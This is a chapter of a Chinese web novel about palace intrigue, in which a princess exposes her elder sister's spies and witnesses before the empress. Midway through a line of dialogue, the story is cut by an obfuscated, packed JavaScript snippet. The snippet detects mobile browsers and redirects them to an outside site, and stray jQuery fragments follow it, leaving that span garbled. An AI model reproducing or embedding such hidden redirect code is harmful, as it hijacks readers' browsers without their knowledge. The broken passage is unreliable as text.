黑云翻墨未遮山，白雨跳珠乱入船。


    “驾！”


    乌云沉沉，雨声渐大，石板路很快便被打湿。这样的天气不免引得人困乏，就连守在皇城门口的士卒也有些懈怠，刚懒懒地打了个呵欠，却听密密雨幕中忽地爆出一道驭马声，随后便是马蹄急速踏在石板上的嗒嗒声，由远及近，杀气腾腾。


    监门卫精神一震，忙竖起长矛，喝道：“什么人！”


    “本王要见母皇！”


    来人未穿甲胄，衣袍吸饱了雨水，沉甸甸地黏在身上，结实匀称的肌肉线条尽现。她利落地勒住马，抹了一把脸上的雨水，露出被湿发遮挡的五官，剑眉倒竖，目如寒星，锐气逼人。监门卫不由自主后退一步，认出果然是瑞王，恭谨问道：“陛下罚您禁足，如今尚不足三月……”


    “真让本王等三个月，王夫早就死在天牢中了！”元明瑾提声高喝，“你若不通传，就让开，本王自己闯进去！”


    “殿下且慢！”


    这位祖宗要如何是她自己的事，若不按例通传，陛下怪罪下来，自己肯定也得担责。监门卫忙令人去养心殿通传，得到陛下愿见的回复后，正欲提醒瑞王殿下宫中不可纵马，却觉身侧猛地刮起一阵风，再一瞧，元明瑾已翻身上马，扬鞭一抽，直奔养心殿而去。


    她快马加鞭，一炷香后，壮丽恢弘的宫室终于近在眼前。透过雨幕，影影绰绰瞧见几人站在殿门前，原是皇帝身边的大宫女领着几名宫侍，手捧热水、巾帕，笑容满面地请她先前往偏殿更衣，再去见她母皇。


    方才一出王府，便有暗卫飞身来报肃王府的动向。元明瑾如何不清楚她那好姐姐同样正紧盯着自己，心中焦急，却也明白不可殿前失仪，只好急急换下湿衣、拭干头发，穿上宫人早先备好的深绿色襦裙和鹤氅，匆匆去拜见母皇。


    窗外大雨如注，红梅吐蕊，绒黄一点，一经雨打风吹，便掉了几片花瓣，七零八落，虽略显颓败，却依然坚|挺地立在枝头。


    帝王负手而立，与这朵尚未完全盛开便遭摧残的梅花隔窗相望，听见身后足音，并未回头，只道：“今日回去，禁足多一月。”


    “儿臣遵旨。只是今日儿臣前来，是想证明王夫当日替嫁，并非他愿。”


    四月竟还有梅花，元明瑾有些讶异，但须臾便稳下心神，尽量口齿清晰道：“他绝非有意犯下欺君之罪，同样是受人迫害，还望母皇明察。”


    “——皇妹如此言之凿凿，可是又发现了什么新证据？”


    清脆的嗓音自百丈之外的殿门处传来。元明琼大步走进，衣角微湿，胸膛起伏得稍有些剧烈，显然也是匆匆赶来。


    巧的是她今日也穿了一身深绿色衣裳。元明瑾心念一动，招来一宫侍，附在她耳边吩咐了一通，宫侍领命而去。


    元明琼向母皇见过礼，留意到香炉烟疏，便命人更换，又走到御案一侧为母皇磨墨，笑道：“皇妹莫不是忘了自己如今还在禁足中，怎么就这样贸然跑出来了？可怜见的，头发都没绞干……殿前失仪事小，染上风寒事大，本王这就让人去煮些驱寒的姜汤来——”


    “不必了。”元明瑾无意配合她在母皇面前表演姊友妹恭，打定主意要速战速决，“传左验上殿！”


    这左验不是旁人，正是那日背着苏小糖走入喜堂的那位全福人。事成之后，他收了辛雅宁一大笔银子，足够他颐养天年，便美滋滋地告老还乡，不再做全福人。岂料还没过上两天安生日子，却被人突然绑来，以家中儿孙性命相挟，要他入宫作证。


    背王夫下轿是何等光耀门楣之事，尽管只是个替嫁的，但只要他不说，谁知道这是假的瑞王夫？


    全福人起初还十分得意，眼下却连肠子都快悔青了——


    早知这是他的买命钱，那他说什么也不会接下这份活计！


    帝王回身，见是个畏畏缩缩的半老徐郎，端详一阵后，问：“你是瑞王大婚那日的全福人？”


    “正正正正正是！”全福人早就吓成软脚虾了，张张嘴却发不出声音，赶忙从喉咙眼里挤出两个字应话。


    见母皇对此人有印象，元明琼虽保持着唇角上扬的弧度，笑意却不达眼底。


    不过是一个小小的全福人，能翻出什么风浪？她倒是要看看，她这好妹妹葫芦里卖的什么药。


    而事态也并未超出她意料：这全福人招认，自己受人胁迫，要他好好地将新嫁郎送入喜堂。那日之所以喊了两遍“请新嫁郎下轿”，正是因为预先知晓威胁他的人一早便将苏小糖用药迷晕、捆好手脚才放进花轿，故而特地高声将他惊醒，唯恐生出变故。


    “你可知，是何人胁迫你？”帝王果然这样问。


    全福人心跳怦怦，低头盯着鞋尖前一滴一滴渐渐汇集成一片的小水洼，战战兢兢道：“那、那人蒙着脸，草民并未看清……”


    他当然清楚对方是谁，但他的母父妻儿还在瑞王殿下手里，借他八百个胆子也不敢说啊！


    虽然他也不明白这些大人物闹的是哪一出戏——瑞王殿下既与替嫁过去的假王夫情笃，想来应是厌极了苏大公子与苏夫人的，为何反而要袒护他们，令自己三缄其口？


    闻言，元明琼终于暗自松了一口气，笑道：“你看不清无妨，本王却是已有了些头绪。本王这里也有一位左验，你瞧瞧，可觉得眼熟？”


    说罢，她拍拍手，命宫侍将一人带上来。只见那人虽略显憔悴，神色却不动，眉目沉静，正是多日未见的红蓼。


    元明琼道：“你来——”


    “——这不是臣的夫郎身边的仆从么？”


    又一道再熟悉不过的人声出现，打断了她的话。


    苏傲霜紧赶慢赶终于赶到，气喘如牛。见红蓼在场，她眼神便不由带上一丝殷切。


    红蓼之前已从紫蒲处得知了苏玉堂的下场。他读懂了她的希冀，却轻轻地摇了摇头，苏傲霜见状，一下子便浑身脱力，仿佛霜白瞬间爬上了双鬓——可她如今也不过而立之年而已。


    “苏卿，你有何要事？”皇帝问。


    苏傲霜强打精神，向皇帝请罪道：“臣虽是戴罪之身，但身为人母，实在不忍男儿在狱中受苦，且陛下并未明令禁止臣行动，所以臣今日斗胆前来，望陛下能听臣几句肺腑之言。”


    “准。”皇帝道。


    苏傲霜深深再拜，而后转向元明琼，眉心紧拧，目光如炬——


    “肃王殿下如何能认识臣后宅中的下人？臣竟不知殿下有这般神通广大的本事，连臣下内宅中大门不出二门不迈的仆从也能暗通款曲。”


    “你放肆！”元明琼哪能听不出她夹枪带棒，当即怒斥，“苏大人偏在这个节骨眼儿前来觐见母皇，莫不是怕此人招认，叫你欺君之罪的帽子戴得更牢么？”


    好好好，好一个困兽犹斗，看来苏傲霜，是要彻底站在她的对立面了！


    所幸她早先便知此人拉拢不得，便决意除去，如今一看，果然是正确的选择。


    苏傲霜坦然道：“臣本就认下了这罪名，早晚都难逃一死，难道还怕人构陷？不过是就事论事罢了。”


    “你——”


    “够了！朕的养心殿不是给你们吵架的地方！”皇帝训道。


    她发觉这一幕似曾相识，终究还是忌惮肃王将手伸到臣下内宅一事，遂先向红蓼求证：“你当真是苏卿府中之人？又是如何与肃王结识的？”


    “草民、草民伺候苏夫人多年，府内上下都认得草民这张脸。草民只是听说，肃王殿下素来有贤德之名，而草民意欲检举之人，位高权重，草民害怕……”


    红蓼深深地低下了头。


    后面的话他没有继续往下，但在场之人无不读懂了他的未尽之言：无非就是怕他要检举之人势力庞大，而他势单力薄，恐检举不成反遭迫害，故不得不寻求庇佑。


    这一找，就找到了肃王头上。


    皇帝勉强接受了他这一说辞，又问：“你究竟想检举何事？”


    “——替嫁一事，是苏夫人与苏大公子有意为之！”


    红蓼掷地有声道。


    “瑞王殿下一向恶名在外，苏大公子不愿嫁，又对苏二公子心怀怨怼，便求苏夫人绑了苏二公子替嫁。”


    元明瑾正静观其变，闻言神情终于变了。


    这是事实不假，但她却不能如实揭开真相，只因苏傲霜归附的唯一条件，便是要元明瑾保住她的夫郎和儿男。


    如果做不到的话……恐怕苏傲霜也不会就此甘心。


    “好大的胆子！”皇帝一听，顿时怒不可遏，“苏卿，这就是你的好夫郎和好男儿？！”


    她既贵为天子，向来只有她的女儿嫌弃别人的份，哪儿轮得到别人蹬鼻子上脸！


    见母皇马上要治辛雅宁和苏宜宜的罪，元明瑾虽乐见其成，但却不能失去苏傲霜的助力，赶忙阻止道：“母皇，此事还未了结，您若要治罪，先听完这些证词也不迟。”


    “你还有何证据？速速呈上！


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517445|183928||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”皇帝压着眉斜了她一眼。


    “带上来。”元明瑾向殿外吩咐一声，又转向元明琼，面上依旧是一副温良恭俭的作派，只是说出来的话，却叫元明琼心跳狠狠漏了一拍——“无独有偶，我府中也有与肃王府过从甚密之人……皇姐不妨瞧瞧，此人你可识得？”


    众人依言，齐齐望向门口，见一貌美男子浑身没骨头似的，正被太监一左一右架着往前走——


    若是缃叶在此，定能认出，这便是当初用手肘捣捣他，嬉笑着叫他“小缃叶”，又唆使他去挑衅王夫的小侍。


    他二人年岁相近，当初瑞王殿下要他给自己取个名字，改了这贱名，他却连字都不认识几个，正冥思苦想而不得，这小侍见他发愁，望着庭中亭亭如盖的大树，便给他取了“缃叶”二字为名。


    缃叶问他，这二字为何意，那小侍说是浅黄色的叶子。然而再一瞧那棵树——枝繁叶茂，深青浅碧，哪见一丝黄色。


    “你莫不是唬我？叶子不都是绿的么，哪儿有黄色？”缃叶笑道。


    小侍只是摇头，难得地露出一抹怅然之色，“尘世之广，只是你没见过，并非就不存在。我的家乡有一种树，叶如小扇，柄细长，虽初生葱翠，然秋日便会转为金黄，色如蜜蜡琥珀，落叶纷飞，铺天盖地，美不胜收。”


    缃叶听着，不觉入了神，还要追问他的家乡在哪儿，小侍却闭口不言，仿佛那只是存在于他臆想中的世外桃源。


    这小侍早在被张嬷嬷率人捉住并投入地牢之时，就知道自己定然命不久矣，便也毫无惧色，仰首挺胸，用嘲弄的眼神去打量殿中的贵人们。目光扫过元明瑾时，也不见丝毫有异，然而一触及元明琼，却像被烫着般马上转开，垂下眼一言不发。


    “此人不仅煽动府中侍君对王夫的不满情绪，且还将本王的一应日程搜集整理，系在鸽足上，传递出去——皇姐不如猜一猜，这信鸽最终飞往何处？”


    元明瑾捏住小侍的下巴，将其强硬地转向元明琼，似笑非笑。


    元明琼想不到她连自己埋在瑞王府中最深的暗桩都挖了出来，一改先前的神闲气定，慌忙错开眼，汗流至踵，“既是你的小侍，何故来问我？本王一向洁身自好，总不见得与你的小侍暗中勾结！”


    “哦？既如此，那信鸽怎么不往别处飞，光往皇姐的肃王府飞？”


    一个人是巧合，两个人也是巧合么？且都是王侯将相内宅之人，外女轻易接触不到。若说其中没有古怪，恐怕就连黄口孺子也不会信。


    元明瑾不着痕迹地留心着母皇的动静，见其面沉似水，眼底暗流涌动，估计应是已经生疑，便趁热打铁，又掷出一道平地惊雷——


    “况且本王大婚次日，与友人一道出游，却遭遇行刺——而预先知道本王要游湖的，仅有府中一名唤缃叶的小侍和沈华清二人，就连本王的乳母和王夫都是当日才得知。”


    元明瑾将小侍的头转回来，面向自己，盯住他震颤不已的瞳孔，掐住他下巴尖的手下湿滑一片，全是他冒的冷汗，“缃叶与你一向交好，连他的新名字都是你取的，想必是他告诉了你，本王第二日要去游湖一事。”


    “许是欲行不轨之人潜伏在本王府中呢？如此看来，本王也深受其害，皇妹怎可红口白牙，枉说此人受我指使？”元明琼反驳道。


    “把那鸨父拎上来。”元明瑾没有立刻回答她，只是又令一左验上殿。


    能捉到这鸨父，倒还要感谢苏傲霜将她与风沁的过往据实以告。此刻被人提着衣领拎到金殿之上，天子居高临下，又已被瑞王的人威逼利诱过，鸨父哪儿还敢隐瞒，当即就坦明元明琼确实经常来他们楼中——


    “那又如何？本王不过是喝两杯酒、听几支小曲儿，根本不曾狎伎——皇妹自己不也养了十几个小侍，怎么，如今倒要以此来谤讦本王么？”


    元明琼快嘴快舌、语如连珠，向着元明瑾瞋目切齿，血液直往上涌，头脑发热，竟是连一贯挂在嘴边的姊友妹恭也忘光了。


    她可算是看出来元明瑾要干什么了。


    自己今日也不过是想斩去她一臂，她这妹妹倒好，竟更加不留情面，欲将自己连根拔起！


    好一招围魏救赵！


    “若只是如此也就罢了……”


    那鸨父瞧着贼眉鼠眼、缩头缩脑，唇上那颗痦子生了根又粗又硬的黑毛，鼠须似的一抖一抖，说出的话却如平地一声雷——


    “您为何次次都要指定百越的舞郎呢？”